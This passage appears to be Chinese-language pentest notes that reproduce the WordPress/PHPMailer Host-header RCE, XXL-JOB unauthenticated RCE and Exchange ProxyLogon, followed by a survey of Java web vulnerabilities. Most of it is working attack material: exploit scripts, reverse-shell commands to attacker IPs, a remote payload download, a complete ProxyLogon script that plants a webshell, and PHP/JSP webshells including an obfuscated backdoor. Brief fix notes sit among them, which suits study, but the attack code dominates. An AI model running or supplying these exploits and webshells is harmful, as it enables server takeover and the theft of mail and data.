cmd="/bin/bash /tmp/rce"
prep_host_header "$cmd"
curl -H"Host: $host_header" -d 'user_login=aming&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword &
echo -e "\n\e[92m[+]\033[0m Payload executed!"
echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n"
nc -nvv -l -p 1111
echo
else
echo -e "\e[92m[+]\033[0m Redsponsible choice ;) Exiting.\n"
exit 0
fi
echo "Exiting..."
exit 0
root@ca75a6ff1e70:/tmp# ll
total 12
drwxrwxrwt 1 root root 4096 May 19 05:41 ./
drwxr-xr-x 1 root root 4096 May 19 01:39 ../
-rw------- 1 www-data www-data 68 May 19 05:44 rce
-rw------- 1 www-data www-data 0 May 19 02:34 success
root@ca75a6ff1e70:/tmp# cat rce
(sleep 3s && nohup bash -i >/dev/tcp/172.16.7.204/1474 0<&1 2>&1) &
┌──(root💀amingMM)-[/home/amingmm/Desktop]
└─# sudo ./1.sh http://127.0.0.1:8080
[*] Sure you want to get a shell on the target 'http://127.0.0.1:8080' ? [y/N] y
[*] Guess I can't argue with that... Let's get started...
[+] Connected to the target
[+] Payload sent successfully
[+] Payload executed!
[*] Waiting for the target to send us a reverse shell...
listening on [any] 1111 ...
connect to [172.16.7.204] from (UNKNOWN) [172.23.0.3] 44812
bash: cannot set terminal process group (631): Inappropriate ioctl for device
bash: no job control in this shell
ww-data@ca75a6ff1e70:/$ whoami
whoami
www-data
www-data@ca75a6ff1e70:/$ ^[[A
whoami
www-data
www-data@ca75a6ff1e70:/$ ifconfig
ifconfig
eth0 Link encap:Ethernet HWaddr 02:42:ac:17:00:03
inet addr:172.23.0.3 Bcast:172.23.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:6077 errors:0 dropped:0 overruns:0 frame:0
TX packets:6386 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2080779 (2.0 MB) TX bytes:1690495 (1.6 MB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:570 errors:0 dropped:0 overruns:0 frame:0
TX packets:570 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:32439 (32.4 KB) TX bytes:32439 (32.4 KB)
www-data@ca75a6ff1e70:/$ sent 23, rcvd 1153
EXP构造
- 关键点
将脚本中target修改成你的目标,
user修改成一个已经存在的用户,
shell_url修改成你放置payload的网址。
(或直接将target作为第一个参数、shell_url作为第二个参数)
#!/usr/bin/env python3
import requests
import sys
# wordpress's url
target = 'http://127.0.0.1' if len(sys.argv) < 1 else sys.argv[1]
# Put your command in a website, and use the website's url
# don't contains "http://", must be all lowercase
shell_url = 'example.com/1.txt' if len(sys.argv) < 2 else sys.argv[2]
# an exists user
user = 'aming'
def generate_command(command):
command = '${run{%s}}' % command
command = command.replace('/', '${substr{0}{1}{$spool_directory}}')
command = command.replace(' ', '${substr{10}{1}{$tod_log}}')
return 'target(any -froot@localhost -be %s null)' % command
session = requests.session()
data = {
'user_login': user,
'redirect_to': '',
'wp-submit': 'Get New Password'
}
session.headers = {
'Host': generate_command('/usr/bin/curl -o/tmp/rce ' + shell_url),
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)'
}
session.allow_redirects = False
target += '/wp-login.php?action=lostpassword'
print target
print data
session.post(target, data=data)
session.headers['Host'] = generate_command('/bin/bash /tmp/rce')
session.post(target, data=data)
┌──(root💀amingMM)-[/home/amingmm/Desktop]
└─# python2 ./exploit.py http://127.0.0.1:8080 172.16.7.204/1.txt
http://127.0.0.1:8080/wp-login.php?action=lostpassword
{'user_login': 'aming', 'wp-submit': 'Get New Password', 'redirect_to': ''}
反弹shell
┌──(root💀amingMM)-[/home/amingmm/Desktop]
└─# nc -lvvp 1111 1 ⨯
listening on [any] 1111 ...
172.23.0.3: inverse host lookup failed: Unknown host
connect to [172.16.7.204] from (UNKNOWN) [172.23.0.3] 44816
bash: cannot set terminal process group (654): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ca75a6ff1e70:/tmp$ ls /tmp
ls /tmp
rce
success
知道网站根路径写入webshell利用
利用的是curl或wget命令下载远程文件,比如下载一个webshell,再用webshell工具连接。
远程 URL 中不能有 http://
所有字母必须小写
手工 从 ip 这个地址,下载1.txt,保存到靶机的/var/www/html下,并命名为shell.php。
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}shell.php${substr{10}{1}{$tod_log}}ip${substr{0}{1}{$spool_directory}}1.txt}} null)
方法同上 脚本需要自己很简单构造一下exp
<?php @eval($_POST['aming'])?>
eg:保存到web根目录下/var/www/html/shell.php
漏洞解析
WordPress 使用PHPmailer发送重置密码 邮件
打开/wp-includes/class-phpmailer.php中:
public $Mailer = 'mail';
/**
* The path to the sendmail program.
* @var string
*/
public $Sendmail = '/usr/sbin/sendmail';
由代码可以看出PHPmailer调用的是/usr/sbin/semdmail来发送邮件的。
发送邮件的命令格式为:sendmail -t -i -fusername@hostname
/**
* Get the server hostname.
* Returns 'localhost.localdomain' if unknown.
* @access protected
* @return string
*/
protected function serverHostname()
{
$result = 'localhost.localdomain';
if (!empty($this->Hostname)) {
$result = $this->Hostname;
} elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
$result = $_SERVER['SERVER_NAME'];
} elseif (function_exists('gethostname') && gethostname() !== false) {
$result = gethostname();
} elseif (php_uname('n') !== false) {
$result = php_uname('n');
}
return $result;
}
serverHostname函数通过传入的SERVER_NAME参数来获取主机名,
该主机名即HTTP请求报文中的host值,
但是SERVER_NAME参数并没有经过任何过滤,因此我们可以进行任意构造拼接,
从而产生了系统命令注入漏洞。
sendmail 提供了-O 和-X参数。
-OQueueDirectory=/tmp/
-X/tmp/aaa.php它会将发送的邮件保存到/tmp/aaa.php中。
因此我们可以构造以下payload:
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xxxxxx( -X/tmp/aaa.php )@qq.com
这里Host字段值中@符号前用了一个”( )”,这样可以直接在括号中使用空格,
具体大家可以看P神 离别歌 的两篇文章。
PHPMailer 代码执行漏洞(CVE-2016-10033)分析(含通用POC) | 离别歌
https://www.leavesongs.com/PENETRATION/PHPMailer-CVE-2016-10033.html
谈一谈复杂的正则表达式分析
https://www.leavesongs.com/PENETRATION/how-to-analyze-long-regex.html
但是由于WordPress以及PHPMailer都会防止攻击者注入空字符。
并且host字段值中出现’/'会出现请求错误。
可以看到在ubuntu中已经使用exim4替代了sendmail的功能.
root@990b6f7e34bb:/var/www/html/wp-includes# which sendmail
/usr/sbin/sendmail
root@990b6f7e34bb:/var/www/html/wp-includes# file /usr/sbin/sendmail
/usr/sbin/sendmail: symbolic link to `exim4'
在exim4中有一个-be参数可以读取一些变量的数据:
root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '$tod_log'
2018-08-23 10:22:21
root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '$spool_directory'
/var/spool/exim4
exim4还支持一些函数用来执行一些命令:
root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '$spool_directory'
/var/spool/exim4
root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '${substr{0}{1}{$spool_directory}}'
/
从第一个字符开始截取,然后截取长度为1,刚好可以把’/’截取出来
因此我们可以将:
空格 —> ${substr{10}{1}{$tod_log}}
/ —> ${substr{0}{1}{$spool_directory}}
$run还可以调用系统命令:
root@990b6f7e34bb:/var/www/html/wp-includes# sendmail -be '${run{/usr/bin/id}}'
uid=0(root) gid=105(Debian-exim) groups=0(root)
比如我们此时想执行在/tmp下创建一个test.php
xxxx(any -froot@localhost -be ${run{/bin/touch /tmp/test.php}} null)
xxxx(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test.php}} null)
所以 有如此利用方式
未授权访问RCE——XXL-JOB executor
XXL-JOB是一个分布式任务调度平台,
在默认情况下XXL-JOB没有配置安全认证,
攻击者可以在未授权的情况下发送恶意构造的请求触发远程代码执行。
web安全
本科/专科信息安全专业 信息安全
预备知识
XXL-JOB是一个分布式任务调度平台,
其核心设计目标是开发迅速、学习简单、轻量级、易扩展。
通过调度平台可以设置定时任务,批量处理等分配给执行器执行。
默认情况下XXL-JOB的Restful API接口或RPC接口没有配置认证措施,
未授权的攻击者可构造恶意请求,造成远程执行命令,直接控制服务器。
XXL-JOB整个平台共有两个项目,分别是调度中心与执行器。
调度中心作用:
统一管理任务调度平台上调度任务,负责触发调度执行,并且提供任务管理平台;
执行器作用:负责接收“调度中心”的调度并执行;
可直接部署执行器,也可以将执行器集成到现有业务项目中。
官方文档执行器配置文件内容说明:
从上图中可以发现执行默认端口为9999。
执行器Restful API接口信息:
心跳检测:调度中心检测执行器是否在线
忙碌检测:调度中心检测指定执行器上指定任务是否忙碌(运行中)
触发任务:触发任务执行
终止任务:用于终止任务
查看执行日志:终止任务,滚动方式加载
影响版本:xxl-job <= 2.2.0
了解漏洞产生的原因,掌握基本的漏洞利用及使用方法,并能给出加固方案。
靶 机:
docker IP:10.1.1.133
攻击机:kali IP:10.1.1.146
发现执行器默认端口为9999端口,
所以可以根据这个特点快速发现所有开启了9999端口的资产:
nmap -p 9999 10.1.1.0/24
发现10.1.1.133这个ip开放了9999端口。
漏洞发生在触发执行任务这个API上,触发任务数据请求格式:
从上面图中可以看到该API访问地址为:
ip:9999/run,
其中"glueType":“BEAN” 任务模式支持的脚本类型如下:
-shell脚本:任务运行模式选择为 "GLUE模式(Shell)"时支持 "Shell" 脚本任务;
-python脚本:任务运行模式选择为 "GLUE模式(Python)"时支持 "Python" 脚本任务;
-php脚本:任务运行模式选择为 "GLUE模式(PHP)"时支持 "PHP" 脚本任务;
-nodejs脚本:任务运行模式选择为 "GLUE模式(NodeJS)"时支持 "NodeJS" 脚本任务;
-powershell:任务运行模式选择为 "GLUE模式(PowerShell)"时支持 "PowerShell" 脚本任务;
也就是说我们可以从中任意选择一种脚本语言,
然后在"glueSource":"xxx"中插入相对应的脚本代码即可执行相对应的命令。
比如对方如果是linux系统的服务器,那么就可以构造反弹shell命令执行代码为:
"glueType":"GLUE_SHELL",
"glueSource":"/bin/bash/ -i >& /dev/tcp/ip/port 0>&1"
访问执行器触发任务API:http://10.1.1.133:9999/run
从返回内容可以看到不支持当前请求方法,
打开burpsuite然后设置浏览器代理访问抓包,
将请求包发送到repeater模块,右键修改请求方式
发现存在报错,根据此报错可以确定该目标机器确实使用了XXL-JOB
修改执行器请求反弹shell,利用代码:
{
“jobId”: 1,
“executorHandler”:“demoJobHandler”,
“executorParams”:“demoJobHandler”,
“executorBlockStrategy”:“COVER_EARLY”,
“executorTimeout”: 0,
“logId”: 1,
“logDateTime”: 1586629003729,
“glueType”: “GLUE_SHELL”,
“glueSource”: “bash -i>& /dev/tcp/10.1.1.146/1234 0>&1”,
“glueUpdatetime”: 1586699003758,
“broadcastIndex”: 0,
“broadcastTotal”: 0
}
复制利用代码到burpsuite作为请求body,
因为利用代码是json格式的数据,
所以需要修改Content-Type字段。
nc监听一个端口
执行请求得到反弹shell。
参考链接
https://github.com/vulhub/vulhub/tree/master/xxl-job/unacc
https://github.com/jas502n/xxl-job
漏洞复现-CVE-2021-26855 2021年3月 Exchange Server RCE
Exchange Server
微软公司的一套电子邮件服务组件,消息与协作系统,
主要提供包括从电子邮件、会议安排、团体日程管理、任务管理、文档管理、实时会议和工作流等协作应用。
漏洞概述
CVE-2021-26855
该漏洞是Exchange中的服务端请求伪造漏洞(SSRF),
利用此漏洞的攻击者能够发送任意HTTP请求并绕过Exchange Server身份验证,远程未授权的攻击者可以利用该漏洞以进行内网探测,
并可以用于窃取用户邮箱的全部内容。CVE-2021-26857
该漏洞是Unified Messaging 服务中的不安全的反序列化漏洞。
利用该漏洞,攻击者可以发送精心构造的恶意请求,
从而在Exchange Server上以SYSTEM身份执行任意代码。CVE-2021-26858
该漏洞是Exchange中的任意文件写入漏洞。
该漏洞需要进行身份认证,
利用此漏洞可以将文件写入服务器上的任何路径。并可以结合利用CVE-2021-26855 SSRF漏洞或绕过权限认证进行文件写入。
CVE-2021-27065
该漏洞是Exchange中的任意文件写入漏洞。
该漏洞需要进行身份认证,
利用此漏洞可以将文件写入服务器上的任何路径。
并可以结合利用CVE-2021-26855
SSRF漏洞或绕过权限认证进行文件写入。
影响版本
Microsoft Exchange 2013
Microsoft Exchange 2016
Microsoft Exchange 2019
Microsoft Exchange 2010
环境搭建
安装AD域控
windows server 2016。
点击管理>添加角色和功能向导,选择Active Directory 域服务 和 DNS 服务器。
下一步到安装
点击"将此服务器提升为域控制器"
这里选择添加新林,然后给自己主机定义一个内部域名,最好和外部域名称不同。
设置密码
显示无法创建DNS服务器委派,无视,下一步
选择安装的位置以及日志文件位置
如果提示
域控制器升级的先决条件验证失败。
新建域时,本地 Administrator 帐户将成为域 Administrator 帐户。
无法新建域,因为本地 Administrator 帐户密码不符合要求。
目前,本地 Administrator 密码为空白,这可能会导致安全问题。
我们建议你按 Ctrl+Alt+Delete,使用网络用户命令行工具,
或者在使用本地用户和组为本地 Administrator 帐户设置强密码之后,新建域。
安装完成后自动重启即完成。
安装 Exchange Server 2016
然后下载Exchange
https://www.microsoft.com/zh-cn/download/confirmation.aspx?id=102114
然后下载.NET4.8
https://docs.microsoft.com/zh-cn/exchange/plan-and-deploy/prerequisites?view=exchserver-2016
下载C++ 依赖包
https://www.microsoft.com/en-us/download/details.aspx?id=30679
安装Visual C++ Redistributable Packages for Visual Studio 2013
记得下载的时候选择英文。。中文的会检测的时候一直通不过
开始安装,选择不更新。
启用exchange自带的杀毒
配置先决条件出错。
主要问题是"需要对 Active Directory 进行全局更新,并且此用户帐户不是 ‘Enterprise Admins’ 组的成员。"
我把user用户和administrator添加到要求的组里然后,
切换用户到administrator试了试安装就可以了。
安装成功后访问https://localhost/ecp 即可到达exchange管理中心。
使用域名\用户名,密码即可登录管理中心。
漏洞利用
尝试 CVE-2021-26855 SSRF漏洞。
执行exp
修改了一下exp,如果不知道用户名可以直接指定后缀,会自动测试常用用户名。
exp.py -u 127.0.0.1 -suffix @ex.com
如果知道一个存在的用户就直接
exp.py -u 127.0.0.1 -user admin@ex.com
# -*- coding: utf-8 -*-
import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import argparse
parser = argparse.ArgumentParser(description='Example: python exp.py -u 127.0.0.1 -email test -suffix @ex.com\n如果不清楚用户名,可不填写-email参数,将自动Fuzz用户名。')
parser.add_argument('-u', type=str,
help='target')
parser.add_argument('-user',
help='exist email',default='')
parser.add_argument('-suffix',
help='email suffix')
args = parser.parse_args()
def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
target=args.u
suffix=args.suffix
exist_email=args.user
fuzz_email=['administrator','webmaste','support','sales','contact','admin','test','test2','test01','test1','guest','sysadmin','info','noreply','log','no-reply']
fuzz_email.insert(0,exist_email)
random_name = id_generator(4) + ".js"
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test11.aspx"
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path
# webshell-马子内容
shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>'
for i in fuzz_email:
new_email=i+suffix
autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
""" % new_email
print("正在获取Exchange Server " + target+" 权限")
FQDN = "EXCHANGE01"
ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
"User-Agent": user_agent},
verify=False,proxies=proxies)
if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
FQDN = ct.headers["X-FEServer"]
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
"Content-Type": "text/xml",
"User-Agent": user_agent},
data=autoDiscoverBody,
proxies=proxies,
verify=False
)
if ct.status_code != 200:
print(ct.status_code)
print("Autodiscover Error!")
#exit()
if "<LegacyDN>" not in str(ct.content):
print("Can not get LegacyDN!")
#exit()
try:
legacyDn = str(ct.content).split("<LegacyDN>")[1].split(r"</LegacyDN>")[0]
print("Got DN: " + legacyDn)
mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN,
"Content-Type": "application/mapi-http",
"X-Requesttype": "Connect",
"X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
"X-Clientapplication": "Outlook/15.0.4815.1002",
"X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456",
"User-Agent": user_agent
},
data=mapi_body,
verify=False,
proxies=proxies
)
if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content):
print("Mapi Error!")
exit()
sid = str(ct.content).split("with SID ")[1].split(" and MasterAccountSid")[0]
print("Got SID: " + sid)
sid = sid.replace(sid.split("-")[-1],"500")
proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
""" % sid
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
"Content-Type": "text/xml",
"msExchLogonMailbox": "S-1-5-20",
"User-Agent": user_agent
},
data=proxyLogon_request,
proxies=proxies,
verify=False
)
if ct.status_code != 241 or not "set-cookie" in ct.headers:
print("Proxylogon Error!")
exit()
sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0]
msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]
print("Got session id: " + sess_id)
print("Got canary: " + msExchEcpCanary)
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
#"Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
#FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"Cookie": "X-BEResource=Admin@{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary={msExchEcpCanary}&a=~1942062522; ASP.NET_SessionId={sess_id}; msExchEcpCanary={msExchEcpCanary1}".
format(server_name=FQDN, msExchEcpCanary1=msExchEcpCanary, sess_id=sess_id,
msExchEcpCanary=msExchEcpCanary),
"Content-Type": "application/json; charset=utf-8",
"msExchLogonMailbox": "S-1-5-20",
"User-Agent": user_agent
},
json={"filter": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"SelectedView": "", "SelectedVDirType": "OAB"}}, "sort": {}},
verify=False,
proxies=proxies
)
if ct.status_code != 200:
print("GetOAB Error!")
exit()
oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0]
print("Got OAB id: " + oabId)
oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
"properties": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"ExternalUrl": "http://ffff/#%s" % shell_content}}}
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"msExchLogonMailbox": "S-1-5-20",
"Content-Type": "application/json; charset=utf-8",
"User-Agent": user_agent
},
json=oab_json,
proxies=proxies,
verify=False
)
if ct.status_code != 200:
print("Set external url Error!")
exit()
reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
"properties": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"FilePathName": shell_absolute_path}}}
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"msExchLogonMailbox": "S-1-5-20",
"Content-Type": "application/json; charset=utf-8",
"User-Agent": user_agent
},
json=reset_oab_body,
proxies=proxies,
verify=False
)
if ct.status_code != 200:
print("写入shell失败了啊")
exit()
print("成功了。马上就验证shell是否OK!")
print("POST shell:https://"+target+"/owa/auth/test11.aspx")
shell_url="https://"+target+"/owa/auth/test11.aspx"
print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());')
print("正在请求shell")
import time
time.sleep(1)
data=requests.post(shell_url,data={"code":"Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"},verify=False,proxies=proxies)
if data.status_code != 200:
print("写入shell失败")
else:
print("shell:"+data.text.split("OAB (Default Web Site)")[0].replace("Name : ",""))
print('[+]用户名: '+new_email)
break;
except:
print('[-]用户名: '+new_email)
print("=============================")
修复方式
1、微软官方已经发布了解决上述漏洞的安全更新,建议受影响用户尽快升级到安全版本,官方安全版本下载可以参考以下链接:
CVE-2021-26855: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855
CVE-2021-26857: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857
CVE-2021-26858: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858
CVE-2021-27065: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065
2、若无法及时进行升级,建议采用官方的临时措施进行防御:
https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/
JAVA 常见漏洞
Java vs PHP
Java Web的常见概念
- Java Web项目的目录结构
- Servlet
- JSP(Java Server Pages)
- JDBC(Java Database Connectivity)
- Java Bean
Java Web常见漏洞分析
- 命令执行(JSP一句话木马等)
- SQL注入
- 条件竞争(Servlet线程不安全)
- SSRF
- 文件上传
- 代码执行(Java反射机制)
- 任意文件读取/目录遍历攻击
Java Web常见概念
Java Web项目的目录结构
这里就讲有Maven的目录结构,
因为做Java Web,Maven几乎是必不可少的
JavaWebProject 项目根目录
|--src 存放Java源码
|--main Java程序及其相关的东西
|--java 存放.java文件,这些文件一般是Servlet和JavaBean
|--resources 存放需要用到的资源,比如Spring Framework的applicationContext.xml
|-test 测试程序
|--web JSP文件放在这里
|--WEB-INF 非常重要的目录,据说Java Web的题一般是拿到这个文件夹
|--classes 编译好的.class文件
|--lib 项目依赖的一些包,比如JDBC的包
web.xml 项目配置文件
pom.xml Maven的文件
Servlet
狭义的Servlet是指Java语言实现的一个接口,
广义的Servlet是指任何实现了这个接口的类。
一般情况下,将Servlet理解为后者。
在MVC的开发模式中,Servlet一般用作Controller。
JSP(Java Server Pages)
JSP是一种动态网页技术标准,
可以将特定的动态内容嵌入到静态页面中,类似于PHP。
JSP以Java作为脚本语言
(也就是说可以在HTML文件中嵌入Java代码),
其本质上是一个Servlet
(JSP在第一次访问时会被翻译成Servlet,再编译为.class文件)。
一个简单粗暴的理解:
JSP跟PHP一样,只是页面内嵌的语言换成了Java。
JDBC(Java Database Connectivity)
JDBC(Java DataBase Connectivity,java数据库连接)
是一种用于执行SQL语句的Java API,
可以为多种关系数据库提供统一访问,
它由一组用Java语言编写的类和接口组成。
JavaBean
JavaBean是一些有特定特点的Java类,其特点是:
有无参的构造器。
所有的属性都是private,
并且提供了相应的getter和setter方法。
服务器中访问的JavaBean一般有以下两种:
封装数据对象的JavaBean。
封装业务逻辑的JavaBean。
Java Web常见漏洞分析
命令执行(JSP一句话木马)
无回显
<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>
利用:
http://localhost:9000/javasec/commandExecution.jsp?cmd=calc
弹出计算器。
没有任何回显,不带cmd参数会报错。
有回显
<%
java.io.InputStream is = Runtime.getRuntime()
.exec(request.getParameter("command"))
.getInputStream();
int a = -1;
byte[] b = new byte[2048];
while ((a = is.read(b)) != -1) {
out.print(new String(b));
}
%>
利用:
http://localhost:9000/javasec/commandExecution.jsp?command=whoami
不带command参数也会报错。
以上是基本的一句话木马,如果需要加密码验证之类的东西,和PHP的方法基本相同。
免杀后门
from:https://xz.aliyun.com/t/2342
<%@ page pageEncoding="utf-8"%>
<%@ page import="java.util.Scanner" %>
<HTML>
<title>Just For Fun</title>
<BODY>
<H3>Build By LandGrey</H3>
<FORM METHOD="POST" NAME="form" ACTION="#">
<INPUT TYPE="text" NAME="q">
<INPUT TYPE="submit" VALUE="Fly">
</FORM>
<%
String op="Got Nothing";
String query = request.getParameter("q");
String fileSeparator = String.valueOf(java.io.File.separatorChar);
Boolean isWin;
if(fileSeparator.equals("\\")){
isWin = true;
}else{
isWin = false;
}
if (query != null) {
ProcessBuilder pb;
if(isWin) {
pb = new ProcessBuilder(new String(new byte[]{99, 109, 100}), new String(new byte[]{47, 67}), query);
}else{
pb = new ProcessBuilder(new String(new byte[]{47, 98, 105, 110, 47, 98, 97, 115, 104}), new String(new byte[]{45, 99}), query);
}
Process process = pb.start();
Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A");
op = sc.hasNext() ? sc.next() : op;
sc.close();
}
%>
<PRE>
<%= op %>>
</PRE>
</BODY>
</HTML>
注意:Java要想把字符串当成代码来执行非常困难,因为没有eval()这样的方法。
这个也是由Java语言本身半编译半解释的特性决定的。
实现这个功能需要很大量的代码
(大概方法就是自己写一个动态编译,把字符串写入临时文件里,然后编译它,再执行),
所以有别的解决方法的话还是别这么干了。
用一句话说就是:Java的eval()方法要自己实现。
防范方法
禁用JSP,在web.xml中加入:
<jsp-config>
<jsp-property-group>
<url-pattern>*.jspx</url-pattern>
<url-pattern>*.jsp</url-pattern>
<scripting-invalid>true</scripting-invalid>
</jsp-property-group>
</jsp-config>
添加以上设置之后,含有Java代码的JSP文件就会编译不通过。
SQL注入
典型漏洞代码:
conn = DriverManager.getConnection(URL, USERNAME, PASSWORD);
stmt = conn.createStatement();
String sql = "SELECT * FROM user WHERE username = '" + username
+ "' AND password = md5('" + password
+ "')";
System.out.println(sql);
rs = stmt.executeQuery(sql);
分析、修复方案等:
https://www.yuque.com/timekeeper/sayyuy/shc33k
一句话:使用PreparedStatement、不要把用户输入的东西拼到SQL语句里。
String sql = "SELECT * FROM user WHERE username = ? AND password = ?";
stmt = conn.prepareStatement(sql);
stmt.setString(1, username);
stmt.setString(2, password);
rs = stmt.executeQuery();
System.out.println(stmt.toString());
条件竞争(Servlet线程不安全)
某些情况下Java比PHP更容易出现条件竞争漏洞。
这里分享由Servlet线程不安全导致的条件竞争漏洞。
Servlet实际上是单例的,
除非这个Servlet实现SingleThreadMethod接口,
当多线程并发访问时,每个线程得到的实际上是同一个Servlet实例,
每个线程对这个Servlet实例的修改就会影响到其他线程。
当客户端第一次请求某个Servlet时,Servlet容器
(比较常见的就是tomcat)会根据@WebServlet注解(Servlet版本3及以上)或者web.xml的配置(如果有的话)实例化这个Servlet。
如果有新的客户端请求这个Servlet类,一般就不会再次实例化它了,也就是有多个线程在使用这个Servlet实例。
典型代码1:
package com.wen.javasec.controller;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
@WebServlet("/RaceCondition")
public class RaceCondition extends HttpServlet {
private String username = "no name";
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String name = req.getParameter("username");
if (name != null) {
username = name;
}
resp.setContentType("text/html;charset=UTF-8");
PrintWriter out = resp.getWriter();
out.println(username);
out.flush();
out.close();
}
}
直接访问:
